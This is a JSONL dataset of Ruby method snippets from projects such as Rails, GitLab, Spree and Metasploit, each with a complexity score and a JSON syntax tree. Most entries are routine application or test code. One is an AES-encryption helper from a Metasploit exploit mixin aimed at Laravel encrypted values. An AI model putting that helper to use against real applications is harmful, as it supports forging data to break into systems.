{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/checkout/advance.rb","start_line":49,"raw_source":"def cannot_make_transition?(order, state = nil)\n        order.state == state || order.confirm? || order.complete? || order.errors.present? || order.passed_checkout_step?(state)\n      end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"cannot_make_transition?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"order\"]},{\"type\":\"optarg\",\"children\":[\"state\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"state\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"state\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"confirm?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"complete?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"errors\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"passed_checkout_step?\",{\"type\":\"lvar\",\"children\":[\"state\"]}]}]}]}","id":"254d54f6-9c19-49d9-8904-2bc76bce9734"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/policies/category_policy.rb","start_line":2,"raw_source":"def index?\n    @account.users.include?(@user)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"users\"]},\"include?\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}","id":"1baa7059-cf46-45dd-80e9-5570790944ac"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/semicolon.rb","start_line":168,"raw_source":"def range_nodes\n          return @range_nodes if instance_variable_defined?(:@range_nodes)\n\n          ast = processed_source.ast\n          @range_nodes = ast.range_type? ? [ast] : []\n          @range_nodes.concat(ast.each_descendant(:range).to_a)\n        end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"range_nodes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@range_nodes\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@range_nodes\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ast\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"ast\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@range_nodes\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},\"range_type?\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@range_nodes\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},\"each_descendant\",{\"type\":\"sym\",\"children\":[\"range\"]}]},\"to_a\"]}]}]}]}","id":"6db47f7d-aad6-45d7-8f9e-688ff10e780a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/rpc_module.rb","start_line":157,"raw_source":"def rpc_nops(module_info = nil, arch = nil)\n    unless module_info.nil?\n      module_info = module_info.strip.split(',').map(&:strip)\n      module_info.map!(&:to_sym)\n    end\n\n    unless arch.nil?\n      arch = arch.strip.split(',').map(&:strip)\n    end\n\n    data = module_info.nil? ? [] : {}\n    arch_filter = !arch.nil? && !arch.empty? ? arch : nil\n    self.framework.nops.each_module('Arch' => arch_filter) do |name, mod|\n      if module_info.nil?\n        data << name\n      else\n        tmp_mod_info = ::JSON.parse(Msf::Serializer::Json.dump_module(mod.new), symbolize_names: true)\n        data[name] = tmp_mod_info.select { |k,v| module_info.include?(k) }\n      end\n    end\n\n    { \"modules\" => data }\n  end","complexity_score":51.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rpc_nops\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"module_info\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"arch\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_info\"]},\"nil?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"module_info\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_info\"]},\"strip\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_info\"]},\"map!\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_sym\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"nil?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"arch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"strip\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_info\"]},\"nil?\"]},{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"arch_filter\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"lvar\",\"children\":[\"arch\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"framework\"]},\"nops\"]},\"each_module\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"lvar\",\"children\":[\"arch_filter\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_info\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tmp_mod_info\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Serializer\"]},\"Json\"]},\"dump_module\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"new\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_names\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_mod_info\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_info\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"modules\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}","id":"bd3a177d-edf9-4a5d-8626-663c996b0c38"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/mailers/users_mailer.rb","start_line":11,"raw_source":"def explore_features\n    # Sent 2 days after user signs up\n    @user = params[:user]\n\n    mail(to: @user.email, subject: 'Explore Dawarich features!')\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"explore_features\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"str\",\"children\":[\"Explore Dawarich features!\"]}]}]}]}]}]}","id":"c2bfdbf1-54ec-4a14-be71-420c38f994ff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation_helper.rb","start_line":144,"raw_source":"def instrument_exclusive_lock(payload)\n      requested_count = Gitlab::Instrumentation::ExclusiveLock.requested_count\n\n      return if requested_count == 0\n\n      payload.merge!(Gitlab::Instrumentation::ExclusiveLock.payload)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"instrument_exclusive_lock\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"requested_count\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Instrumentation\"]},\"ExclusiveLock\"]},\"requested_count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requested_count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Instrumentation\"]},\"ExclusiveLock\"]},\"payload\"]}]}]}]}","id":"c32a378d-2790-4135-8d57-1a02a2434efc"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/mbox/support/indexer.rb","start_line":140,"raw_source":"def all_messages(directory, category_name)\n      checksums = imported_file_checksums(category_name)\n\n      Dir.foreach(directory) do |filename|\n        filename = File.join(directory, filename)\n        next if ignored_file?(filename, checksums)\n\n        puts \"indexing #{filename}\"\n\n        if @split_regex.present?\n          each_mail(filename) do |raw_message, first_line_number, last_line_number, from_line|\n            opts = {\n              first_line_number: first_line_number,\n              last_line_number: last_line_number,\n              start_time: monotonic_time,\n              from_line: from_line,\n            }\n            receiver = read_mail_from_string(raw_message)\n            yield receiver, filename, opts if receiver.present?\n          end\n        else\n          opts = { start_time: monotonic_time }\n          receiver = read_mail_from_file(filename)\n          yield receiver, filename, opts if receiver.present?\n        end\n\n        mark_as_fully_indexed(category_name, filename)\n      end\n    end","complexity_score":36.7,"ast_json":"{\"type\":\"def\",\"children\":[\"all_messages\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"directory\"]},{\"type\":\"arg\",\"children\":[\"category_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"checksums\",{\"type\":\"send\",\"children\":[null,\"imported_file_checksums\",{\"type\":\"lvar\",\"children\":[\"category_name\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"foreach\",{\"type\":\"lvar\",\"children\":[\"directory\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"directory\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignored_file?\",{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"checksums\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"indexing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@split_regex\"]},\"present?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_mail\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_message\"]},{\"type\":\"arg\",\"children\":[\"first_line_number\"]},{\"type\":\"arg\",\"children\":[\"last_line_number\"]},{\"type\":\"arg\",\"children\":[\"from_line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_line_number\"]},{\"type\":\"lvar\",\"children\":[\"first_line_number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_line_number\"]},{\"type\":\"lvar\",\"children\":[\"last_line_number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"send\",\"children\":[null,\"monotonic_time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from_line\"]},{\"type\":\"lvar\",\"children\":[\"from_line\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"receiver\",{\"type\":\"send\",\"children\":[null,\"read_mail_from_string\",{\"type\":\"lvar\",\"children\":[\"raw_message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"receiver\"]},\"present?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"receiver\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},null]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"send\",\"children\":[null,\"monotonic_time\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"receiver\",{\"type\":\"send\",\"children\":[null,\"read_mail_from_file\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"receiver\"]},\"present?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"receiver\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"mark_as_fully_indexed\",{\"type\":\"lvar\",\"children\":[\"category_name\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]}]}","id":"7148e3ef-1d7f-4938-a738-b1693c6c3f09"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/gtg/builder.rb","start_line":143,"raw_source":"def symbol(edge)\n            edge.symbol? ? edge.regexp : edge.left\n          end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"symbol\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"edge\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"edge\"]},\"symbol?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"edge\"]},\"regexp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"edge\"]},\"left\"]}]}]}","id":"f71344d0-d5ce-4926-9bda-0f1acb229d04"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/inflector_test.rb","start_line":318,"raw_source":"def test_foreign_key\n    ClassNameToForeignKeyWithUnderscore.each do |klass, foreign_key|\n      assert_equal(foreign_key, ActiveSupport::Inflector.foreign_key(klass))\n    end\n\n    ClassNameToForeignKeyWithoutUnderscore.each do |klass, foreign_key|\n      assert_equal(foreign_key, ActiveSupport::Inflector.foreign_key(klass, false))\n    end\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_foreign_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ClassNameToForeignKeyWithUnderscore\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"foreign_key\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"foreign_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"foreign_key\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ClassNameToForeignKeyWithoutUnderscore\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"foreign_key\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"foreign_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"foreign_key\",{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"ec606dac-10f0-420c-bedf-c446c038f213"}
{"repo_name":"forem","file_path":"./repos/forem/app/policies/user_policy.rb","start_line":111,"raw_source":"def not_self?\n    user != record\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"not_self?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"!=\",{\"type\":\"send\",\"children\":[null,\"record\"]}]}]}","id":"31392f17-1c37-494d-bd44-92e664e8ef89"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/laravel_crypto_killer.rb","start_line":32,"raw_source":"def aes_encrypt(value, iv, key, cipher_mode)\n    # Check cipher mode\n    unless valid_cipher?(cipher_mode)\n      vprint_error(\"Cipher is not valid: #{cipher_mode}\")\n      return\n    end\n    # Create a new AES cipher in CBC mode\n    cipher = OpenSSL::Cipher.new(cipher_mode)\n    cipher.encrypt\n    cipher.key = key\n    cipher.iv = iv\n\n    # Padding (similar to the pad lambda in Python)\n    pad_length = 16 - (value.length % 16)\n    padded_value = value + (pad_length.chr * pad_length)\n\n    # Encrypt the data\n    cipher.update(padded_value)\n  rescue StandardError => e\n    vprint_error(\"AES encryption failed: #{e.message}\")\n  end","complexity_score":27.05,"ast_json":"{\"type\":\"def\",\"children\":[\"aes_encrypt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"iv\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"cipher_mode\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_cipher?\",{\"type\":\"lvar\",\"children\":[\"cipher_mode\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cipher is not valid: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher_mode\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cipher\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"cipher_mode\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"encrypt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"key=\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"iv=\",{\"type\":\"lvar\",\"children\":[\"iv\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pad_length\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[16]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"length\"]},\"%\",{\"type\":\"int\",\"children\":[16]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"padded_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pad_length\"]},\"chr\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"pad_length\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"padded_value\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"AES encryption failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"a03fc931-1cfb-4053-9398-c5361abd222c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/docker_run/node_js.rb","start_line":15,"raw_source":"def publish!\n          # When we run the tests via gitlab-qa, we use docker-in-docker\n          # which means that host of a volume mount would be the host that\n          # started the gitlab-qa QA container (e.g., the CI runner),\n          # not the gitlab-qa container itself. That means we can't\n          # mount a volume from the file system inside the gitlab-qa\n          # container.\n          #\n          # Instead, we copy the files into the container.\n          shell <<~CMD.tr(\"\\n\", ' ')\n            docker run -d --rm\n            --network #{network}\n            --hostname #{host_name}\n            --name #{@name}\n            --volume #{@volume_host_path}:/home/node\n            #{@image} sh -c \"sleep 60\"\n          CMD\n          shell \"docker cp #{@volume_host_path}/. #{@name}:/home/node\"\n          shell \"docker exec -t #{@name} sh -c 'cd /home/node && npm publish'\"\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"publish!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shell\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"docker run -d --rm\\n\"]},{\"type\":\"str\",\"children\":[\"--network \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"network\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"--hostname \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host_name\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"--name \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@name\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"--volume \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@volume_host_path\"]}]},{\"type\":\"str\",\"children\":[\":/home/node\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@image\"]}]},{\"type\":\"str\",\"children\":[\" sh -c \\\"sleep 60\\\"\\n\"]}]},\"tr\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[null,\"shell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"docker cp \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@volume_host_path\"]}]},{\"type\":\"str\",\"children\":[\"/. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@name\"]}]},{\"type\":\"str\",\"children\":[\":/home/node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"shell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"docker exec -t \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@name\"]}]},{\"type\":\"str\",\"children\":[\" sh -c 'cd /home/node && npm publish'\"]}]}]}]}]}","id":"1b11262a-7f34-40ec-a054-09d6e81fe157"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":2521,"raw_source":"def test_creating_using_primary_key\n    firm = Firm.first\n    client = firm.clients_using_primary_key.create!(name: \"test\")\n    assert_equal firm.name, client.firm_name\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_creating_using_primary_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"client\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"clients_using_primary_key\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"test\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"firm_name\"]}]}]}]}","id":"accf9ae0-727a-4011-b1ad-88a72a49d5df"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/table_helpers/table_data.rb","start_line":63,"raw_source":"def columns\n      headers.map do |header|\n        Column.for(header)\n      end\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"headers\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"header\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Column\"]},\"for\",{\"type\":\"lvar\",\"children\":[\"header\"]}]}]}]}","id":"ff0bb3c1-338b-4d86-8067-bb980e0187cb"}
